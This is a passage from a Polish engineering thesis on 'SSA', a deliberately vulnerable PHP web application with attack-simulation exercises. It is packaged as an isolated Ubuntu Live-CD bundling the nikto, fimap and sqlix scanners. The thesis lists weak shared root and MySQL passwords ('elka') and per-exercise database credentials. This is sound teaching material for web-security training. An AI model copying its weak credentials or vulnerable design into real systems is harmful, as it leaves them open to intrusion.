LTS dla procesorów 32bitowych. Po jego skonfigurowaniu, zostanie on przerobiony na wersję Live-CD. Uzasadnienie System operacyjny jest dobrze znany dużej rzeszy użytkowników, przez co zarówno osoba rozwijająca projekt, jak i przyszli użytkownicy mogą liczyć na wsparcie techniczne. Jest to także ostatnia wersja tego systemu, która jest dostatecznie lekka, aby móc ją uruchomić na starych komputerach bez kłopotu. Dodatkowo, system Ubuntu posiada bardzo rozbudowane repozytorium i umożliwia łatwą instalację nowego oprogramowania. 54 Identyfikator AR-1 Dotyczy wymagania WF-0, WN-4 Technologia aplikacji Nazwa Decyzja Aplikacja umożliwiająca symulację ataków zostanie napisana w języku PHP. W tym celu zostanie udostępniony serwis WWW za pomocą serwera Apache. Jako serwer bazodanowy będzie służyła instancja MySQL. Uzasadnienie Wszystkie wymienione technologie są bardzo przystępne, w Internecie można liczyć na wsparcie społeczności użytkowników oraz można z nich korzystać nie ponosząc żadnych kosztów. Identyfikator AR-2 Dotyczy wymagania WN-1 Uruchamianie aplikacji Nazwa Decyzja Po wystartowaniu systemu operacyjnego i zalogowaniu się użytkownika włączy się środowisko graficzne i zostanie uruchomiona przeglądarka internetowa ze stroną aplikacji, gdzie użytkownik znajdzie dalsze instrukcje dotyczące działania i korzystania z systemu. Uzasadnienie Wszystkie niezbędne informacje można umieścić na lokalnej stronie internetowej, dlatego jest ona najlepszym miejscem na rozpoczęcie korzystania z aplikacji. Strona uruchomi się automatycznie i od razu będzie można podchodzić do ćwiczeń, które będą przechowywane w tym samym formacie. Identyfikator AR-3 Dotyczy wymagania WN-2 Konstrukcja aplikacji Nazwa Decyzja Aplikacja zostanie zaprojektowana pod kątem mocnej modularności, tak, aby w razie potrzeby użytkownik mógł dodać nowe ćwiczenia. Uzasadnienie Realizacja wymagań dotyczących możliwości rozszerzania aplikacji o nowe ćwiczenia. Tylko modularna budowa zapewni komfort przy dodawaniu nowych ćwiczeń. Identyfikator AR-4 Dotyczy wymagania WN-4 Polityka bazodanowa Nazwa Decyzja Do każdego ćwiczenia, które będzie wymagało połączenia z bazą danych, zostanie przydzielony oddzielny schemat bazodanowy, tak aby w danym ćwiczeniu nie dało się odczuć skutków działania poprzedniego ćwiczenia. Uzasadnienie Wykonywanie ćwiczeń podczas jednej sesji nie powinno wpływać na kolejne ćwiczenia, dlatego powinny one korzystać z oddzielnych schematów. 55 4.4 Implementacja 4.4.1 System Symulacji Ataków SSA – System Symulacji Ataków jest to aplikacja internetowa pozwalająca na poznanie zasad działania ataków internetowych. W ramach projektu inżynierskiego powstał SSA oraz 12 różnych modułów do niego przedstawiających dwanaście najpopularniejszych ataków na aplikacje internetowe. Aplikacja, dzięki łatwości dodawania nowych modułów, pozwala na łatwą rozbudowę. Każdy moduł może mieć zdefiniowanych kilka zachowań, które zostały opisane w sekcji Interfejs ExerciseInterface. Rozbudowa aplikacji o nowe moduły polega na skopiowaniu pliku z klasą implementująca interfejs ExerciseInterface do drzewa katalogów z ćwiczeniami. Dla lepszej czytelności każde ćwiczenie mieści się w osobnym folderze, w którym można także umieszczać materiały dodatkowe (np. takie zawierające duże ilości tekstu). Wybór narzędzi System Symulacji Ataków został napisany w języku PHP, który pozwala realizować w pełni paradygmat programowania obiektowego implementując abstrakcyjne struktury danych. Język PHP jest też bardzo prosty i popularny, dlatego późniejsza analiza kodu, w celu poznania systemu, bądź rozbudowania go nie powinna być dużym wyzwaniem. Ponadto PHP zapewnia komfortową obsługę bardzo wielu różnych baz danych, przez co ewentualna zmiana silnika bazy danych jest łatwa w realizacji. Dodatkowo PHP obsługuje mechanizmy refleksji, co jest bardzo przydatne w realizacji modularności aplikacji. Jak w wielu projektach informatycznych, warto jest oddzielić logikę aplikacji od warstwę widoku, która będzie odpowiadała za wyświetlanie poprawnie sformatowanej strony w każdym kontekście. W tym celu użyto silnika szablonów do PHP o nazwie Smarty (do pobrania pod adresem http://www.smarty.net). Jest to bardzo elastyczne i wydajne rozwiązanie pozwalające na przeniesienie pewnej części logiki wyświetlania do szablonu, co pozytywnie odbija się na czytelności kodu źródłowego. 56 Diagram klas SSA Poniżej został przedstawiony diagram podstawowych klas dla Systemu Symulacji Ataków. Rysunek 6. Diagram klas Systemu Symulacji Ataków Klasa SSA posiada trzy publiczne metody, które są wywoływane w głównym pliku programu: 1. setup() – metoda służąca do zbudowania bazy ćwiczeń oraz generacji stałej części strony WWW – czyli menu. 2. handleRequest() – metoda służąca do obsługi żądania, analizuje ona treść oraz kontekst żądania. W tym miejscu uzupełniany danymi jest system szablonów Smarty. 3. displayPage() – metoda opakowująca żądanie wyświetlenia strony w systemie szablonów Smarty. Podczas inicjalizacji obiekt klasy SSA tworzy instancję klasy ExerciseSearcher, która przeszukuje zadany katalog (w domyślnej konfiguracji jest to „exercises”) pod kątem plików z klasami implementującymi interfejs ExerciseInterface. Następnie tworzona jest instancja klasy pomocniczej ExerciseMenu, która zajmuje się odpowiednim posortowaniem ćwiczeń i przygotowaniem ich listy do wyświetlenia w interfejsie użytkownika. 57 Realizacja rozszerzalności Główny katalog aplikacji zawiera folder o nazwie exercises, są w nim przechowywane katalogi ćwiczeń. Każdy katalog ćwiczenia może mieć dowolną nazwę, jednak wskazane jest, aby nawiązywała ona do jego treści. Do prawidłowego działania, taki katalog powinien zawierać plik o nazwie __ssa__.php, w którym istnieje definicja klasy implementującej interfejs ćwiczenia - ExerciseInterface. Poniżej znajduje się diagram klas dla dodanych ćwiczeń: Rysunek 7. Ćwiczenia - Diagram klas Realizacja modularności odbywa się poprzez przeglądanie katalogów położonych w folderze exercises w poszukiwaniu pliku __ssa__.php. Jeśli plik zostanie znaleziony to stosując mechanizmy refleksji sprawdzane jest, czy w pliku znajduje się klasa, która implementuje interfejs ćwiczenia (ExerciseInterface). Po odnalezieniu klasy implementującej stosowny interfejs jest ona zapisywana w programie i później wykorzystywana do wielu czynności takich jak obsługa kolejnych żądań, definicji warunków końcowych czy też pobranie nazwy ćwiczenia. Możliwość łatwej instalacji nowych ćwiczeń jest realizacją wymagania rozbudowywalności (WN-2). Proces rozszerzania bazy ćwiczeń, oprócz wdrożenia klasy implementującej interfejs 58 ExerciseInterface, sprowadza się tylko do skopiowania uprzednio przygotowanego drzewa katalogów do folderu exercises. Interfejs ExerciseInterface Interfejs ExerciseInterface jest podstawą do rozbudowywania aplikacji o kolejne moduły, składa się na niego dziesięć metod, które muszą zostać zaimplementowane w nowym module. Poniżej znajduje się krótki opis wszystkich z nich. Tabela 7. Opis metod wymaganych przez interfejs ExerciseInterface Nazwa metody Typ zwracanej Przeznaczenie wartości getShortName() Ciąg znaków Nazwa ćwiczenia wyświetlana w menu. getLongName() Ciąg znaków Nazwa ćwiczenia używana na stronie z ćwiczeniem. getDescription() Ciąg znaków Opis ćwiczenia (statyczna część ćwiczenia). getRefecrenceSolution() Ciąg znaków Rozwiązanie wzorcowe ćwiczenia. getOrderingNumber() isFinished() Liczba Wartość logiczna Numer określający kolejność w menu (czym mniejsza liczba tym pozycja jest wyżej). Czy ćwiczenie zostało zakończone? startSession() Ciąg znaków Metoda wywoływana raz, przy pierwszym żądaniu strony dla ćwiczenia (może inicjalizować pewne ustawienia). Może zwrócić ciąg znaków, który zostanie dołączony do strony. startRequest() Ciąg znaków Metoda wywoływana za każdym razem, gdy użytkownik przeładuje stronę. Powinna zwracać ciąg znaków, który zostanie dołączony do strony (dynamiczna część ćwiczenia). reset() Brak Przywrócenie ćwiczenia do stanu pierwotnego. setViewController($obj) Brak Metoda służąca do ustawiania referencji do obiektu kontrolera warstwy widoku (w przypadku tej implementacji jest to Smarty). Obiekt taki jest przydatny, jeśli w ćwiczeniu potrzebny jest dostęp do zmiennych zapisanych w szablonie. 59 Dodawanie kolejnych ćwiczeń Dodawanie kolejnych ćwiczeń powinno odbywać się według następującego algorytmu: 1. Utwórz nowy katalog w folderze „exercises” znajdującym się w katalogu głównym SSA. 2. W nowoutworzonym katalogu utwórz plik o nazwie „__ssa__.php”. 3. W pliku „__ssa__.php” umieść klasę implementującą interfejs ExerciseInterface. 4. Wejdź na stronę SSA i sprawdź działanie modułu. Uwagi: Należy uważać, aby nie powtórzyć nazwy klasy już istniejącej. Wszystkie dostarczone klasy mają przyrostek „Exercise”, dlatego aby upewnić się, że nie nastąpi powtórzenie – można go nie używać, bądź użyć innego. Wyniki działania metod „getDescription()” oraz „getReferenceSolution()” warto umieścić w oddzielnych plikach HTML – ich zawartość jest zwykle stała. Wszelkie obrazy, filmy oraz dźwięki używane w stronach rozwiązań wzorcowych powinny zostać umieszczone w katalogu o nazwie ćwiczenia w folderze „media/solutions/” znajdującym się w głównym katalogu programu. Odwołanie do danego medium następuje przy użyciu ścieżki „media/solutions/[nazwa ćwiczenia]” w dowolnym pliku. Działanie interfejsu ExerciseInterface w kontekście systemu SSA Diagram zamieszczony na kolejnej stronie obrazuje działanie interfejsu ExerciseInterface (reprezentującego moduł dowolnego ćwiczenia) w kontekście systemu SSA. Po wybraniu przez Użytkownika danego ćwiczenia, na podstawie zawartości żądania (parametry GET), system w pierwszej kolejności określa czy żądanie dotyczy restartu ćwiczenia bądź też chęci zobaczenia rozwiązania wzorcowego. Jeśli żądanie nie dotyczy żadnej z wymienionych opcji, to proces przetwarzania przechodzi do normalRequest. Jeśli użytkownik chciał ponownie uruchomić ćwiczenie (restartRequest) to na module wybranego ćwiczenia wywoływana jest metoda reset, po czym następuje przekierowanie przeglądarki użytkownika na stronę ćwiczenia, dlatego cały proces rozpoczyna się od nowa. Na podstawie ciasteczka (ang. cookies) system wie, czy dane żądanie jest pierwszym dla danego ćwiczenia, czy też nie i odpowiednio uruchamia metodę startSession() interfejsu ExerciseInterface. Wartości zwracane z metod startSession() oraz startRequest() są dołączane do zawartości strony co daje lepsze możliwości separacji aktywnego kodu od części opisowej ćwiczenia. 60 Rysunek 8. Diagram sekwencji działań na interfejsie ExerciseInterface podczas obsługi żądania 61 4.4.2 System operacyjny typu „Live-CD” Celem powstania systemu operacyjnego była izolacja środowiska testowego od innych komputerów, a co za tym idzie – od Internetu. Poza tym system stanowi doskonałe środowisko uruchomieniowe dla aplikacji SSA. System operacyjny opiera się na dystrybucji Ubuntu 10.04 LTS dla procesorów 32 bitowych. Zostało do niego dołączone dodatkowe oprogramowanie pełniące rolę serwera WWW obsługującego język skryptowy PHP w wersji 5. Do utrzymywania bazy danych zostało zainstalowane środowisko MySQL w wersji 14.14. Ponadto do systemu zostały dołączone trzy opisywane narzędzia, pozwalające użytkownikowi na automatyzację testów strony. Użytkownik może przekonać się, że „ręczne” sprawdzanie podatności aplikacji internetowych niesie ze sobą większą precyzję oraz większą ilość wykrytych luk, jednak czas poświęcony na uruchomienie narzędzia jest wielokrotnie mniejszy niż włożony w manualny test aplikacji. Po uruchomieniu systemu operacyjnego, użytkownikowi otwiera się przeglądarka internetowa z Systemem Symulacji Ataków. Po rozwiązaniu wszystkich ćwiczeń, użytkownik może poddać SSA testom automatycznym w celu konfrontacji wyników z nabytym doświadczeniem. System operacyjny System operacyjny powstał na bazie istniejącej już instalacji spolszczonego systemu Ubuntu 10.04 LTS. Obraz płyty został utworzony za pomocą programu Remastersys (dostępny do pobrania pod adresem http://www.remastersys.com/), program umożliwia automatyzację żmudnego procesu budowania dystrybucji Live-CD. Do prawidłowego działania systemu należy zainstalować pakiety odpowiedzialne za utrzymanie serwera WWW, obsługę skryptów PHP oraz silnik bazy danych MySQL, dlatego zostały zainstalowane pakiety: apache2 php5 mysql mysql-server libapache2-mod-auth-mysql php5 mysql phpmyadmin 62 Dodatkowo do dystrybucji zostały dołączone programy służące automatyzacji testów penetracyjnych aplikacji internetowych omawiane w niniejszej pracy, dlatego system zawiera także pakiet nikto. Z powodu braku odpowiednich pakietów w repozytoriach systemu operacyjnego aplikacje fimap oraz sqlix zostały zainstalowane ręcznie poprzez umieszczenie ich źródeł w katalogu /opt/. Podczas instalacji systemu i silnika baz danych należało zdefiniować hasła administratora oraz użytkowników, w poniższej tabeli znajduje się ich zestawienie. Tabela 8. Dane logowania niezbędne przy próbie modyfikacji systemu Przeznaczenie Konto „root” systemu operacyjnego Konto „elka” systemu operacyjnego Konto administratora MySQL Dane Nazwa użytkownika: Hasło: Nazwa użytkownika: Hasło: Nazwa użytkownika: Hasło: root elka elka elka root elka Bazy danych Po umieszczeniu aplikacji Systemu Symulacji Ataków należało jeszcze przeprowadzić konfigurację bazy danych. Wymaganie niefunkcjonalne WN-4 oraz jego konsekwencja, czyli decyzja architektoniczna AR-4 zobowiązuje do odseparowania od siebie baz danych z których będą korzystać moduły ćwiczeń. W tym celu dla każdego ćwiczenia, które wymaga połączenia z bazą danych została utworzona oddzielna baza danych o nazwie odpowiadającej nazwie klasy w jakiej dane ćwiczenie zostało zaimplementowane – czyli dla ćwiczenia, które zostało zaimplementowane w klasie o nazwie StoredXSSExercise została utworzona baza: mysql> CREATE DATABASE StoredXSSExercise; Dla każdej tak utworzonej bazy danych powstało także konto jej użytkownika o nazwie będącej nazwą klasy, przy czym sufiks Exercise został zamieniony na User i Password odpowiednio dla nazwy konta i hasła do niego: mysql> GRANT ALL ON StoredXSSExercise.* TO StoredXSSUser@localhost IDENTIFIED BY ‘StoredXSSPassword’ 63 Aplikacja Remastersys Instalacja aplikacji Remastersys w systemie Ubuntu opiera się na dodaniu odpowiedniego repozytorium do systemowej listy. Dla potwierdzenia oryginalności pobieranych danych należy dodać do archiwum kluczy odpowiednią pozycję – w tym celu należy pobrać klucz GPG udostępniony przez autora aplikacji: wget -O - http://www.remastersys.com/ubuntu/remastersys.gpg.key apt-key add remastersys.gpg.key Następnie należy dodać do list repozytoriów pozycję odpowiadającą za pakiet, który zawiera aplikację Remastersys: echo “deb http://www.remastersys.com/ubuntu lucid main” >> /etc/apt/sources.list Po dodaniu odpowiedniego repozytorium można odświeżyć listę pakietów i przejść do instalacji programu: sudo apt-get update && sudo apt-get install remastersys remastersys-gui Pakiet remastersys-gui odpowiada za przyjazne środowisko graficzne, które umożliwia pełną konfigurację programu oraz możliwość dostosowania większej ilości parametrów niż aplikacja konsolowa. Optymalizacja wielkości dystrybucji Przed utworzeniem dystrybucji Live-CD należało usunąć zbędne pakiety oraz tak, aby docelowy obraz płyty zmieścił się na nośniku CD o pojemności 700MB. W pierwszej kolejności usunięte zostały programy świadczące funkcje multimedialne takie jak Totem czy też Rythmbox oraz dołączony program do edycji grafiki GIMP. W celu dalszego oszczędzania miejsca usunięty został także pakiet biurowy OpenOffice. Wszystkie te aplikacje zostawiły dużo osieroconych (ang. orphan) bibliotek, dlatego warto je też usunąć – w tym celu został wykorzystany program orphaner dostępny w repozytorium Ubuntu. Aplikacja wyszukuje wszystkie osierocone pakiety i pozwala je w wygodny sposób usunąć. Instalacja programu odbywa się w standardowy sposób: sudo apt-get install orphaner Zbudowana w ten sposób dystrybucja Ubuntu, wraz ze wszystkimi niezbędnymi aplikacjami zajmuje mniej więcej 690MB. 64 5 Podsumowanie Niniejsza praca miała na celu stworzenie dydaktycznego systemu, który pozwoli użytkownikom poznać temat testowania aplikacji internetowych pod względem ich bezpieczeństwa. Cel ten został w pewnej części spełniony, jednak końcowa decyzja należy do użytkowników aplikacji. Próbna grupa studentów - która wyraziła chęć przetestowania oprogramowania - odebrała przygotowany system bardzo dobrze, jednak dostrzegła kilka mankamentów niewidocznych dla autora podczas procesu projektowania i tworzenia aplikacji. Ćwiczenia powinny opierać się na przygotowanym uprzednio scenariuszu, który powinien być bardziej rozbudowany. W przypadku zaprojektowanej aplikacji scenariusz jest nie tylko liniowy, ale też krótki, co z jednej strony pozwala lepiej skupić się na wykorzystaniu konkretnej podatności, ale z drugiej - może sprawiać wrażenie monotoniczności. Kolejna wada aplikacji wynika z jej architektury - jednym z założonych wymagań była imitacja środowiska rzeczywistego. Po analizie tego wymagania podjęta została decyzja, iż powinna to być aplikacja internetowa, jednak większość ataków jakie są opisywane w niniejszej pracy ma swoje działanie dopiero po stronie użytkownika. Oznacza to, że skutki omawianych ataków (przykładem jest ćwiczenie dotyczące Składowanego XSS) są nierozróżnialne dla aplikacji internetowej od zamierzonych działań jej użytkownika, co z kolei skutkuje tym, iż nie można dla danego ćwiczenia zdefiniować warunków końcowych. Aplikacja umożliwiająca doświadczanie takich ataków najprawdopodobniej nie powinna być aplikacją internetową, bądź też powinna być odporna na dany typ ataku – tak, żeby dane wejściowe mogły być odpowiednio interpretowane i na ich podstawie mógł być wyświetlany wynik. Niestety taka konstrukcja nazbyt przypomina programy typu Honeypot, co nie zgadza się z przyjętym założeniem. Część przygotowanych ćwiczeń, takich jak „Odbite XSS” polega na odpowiednim spreparowaniu żądania w taki sposób, aby w odpowiedzi serwera znajdował się złośliwy kod. Wszystkie implementacje ataku dla tego ćwiczenia, jakie napłynęły od grupy badanych osób, rzeczywiście generowały złośliwy kod, który uruchamiał się zaraz po załadowaniu strony przez przeglądarkę, jednak skutek jego działania był widoczny dopiero po kolejnym przeładowaniu strony. Przyczyną takiego zachowania jest fakt, iż złośliwy kod, który wywoływał pewną akcję na serwerze, został uruchomiony przez przeglądarkę dopiero po uzyskaniu odpowiedzi z tym właśnie kodem. Zachowanie to można naprawić stosując 65 technologię AJAX (ang. Asynchronous JavaScript and XML), która umożliwia praktycznie transparentną komunikację z serwerem w sposób asynchroniczny i nie wymaga odświeżania całego dokumentu. Reasumując, podstawową zasadą testowania jest udana separacja roli programisty i testera nigdy nie powinna być to ta sama osoba. Stosując wspomnianą zasadę na pewno uniknięto by choć części błędów, które pojawiły się już po dostarczeniu aplikacji. Mimo wszystko aplikacja, w pewnej części, spełnia swoją dydaktyczną funkcję, o czym świadczą pozytywne opinie i zainteresowanie wykazane przez studentów. 66 6 Bibliografia [1] Sandvine, „Wniosku z badania ruchu internetowego w Europie” 13 Luty 2013. [Internet]. Dostępne pod: http://www.sandvine.com/general/document.download.asp?docID=51. [2] Kodeks Karny. [3] „Archiwalny opis podatności serwisu aukcyjnego eBay na atak typu CSRF” 23 Luty 2013. [Internet]. Dostępne pod: http://archive.cert.unistuttgart.de/bugtraq/2005/04/msg00279.html. [4] „Porównanie maksymalnych długości adresów URL w ujęciu różnych przeglądarek i serwerów” 23 Luty 2013. [Internet]. Dostępne pod: http://www.boutell.com/newfaq/misc/urllength.html. [5] „Techniczny opis robaka "Samy worm",” 24 Luty 2013. [Internet]. Dostępne pod: http://namb.la/popular/tech.html. [6] B. Hope i B. Walther, Web Security Testing Cookbook, USA: O’Reilly, 2008. [7] D. Stuttard i M. Pinto, The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws, USA: Wiley, 2011. [8] M. Zalewski, he Tangled Web: A Guide to Securing Modern Web Applications, USA: No Starch Press, 2011. 67
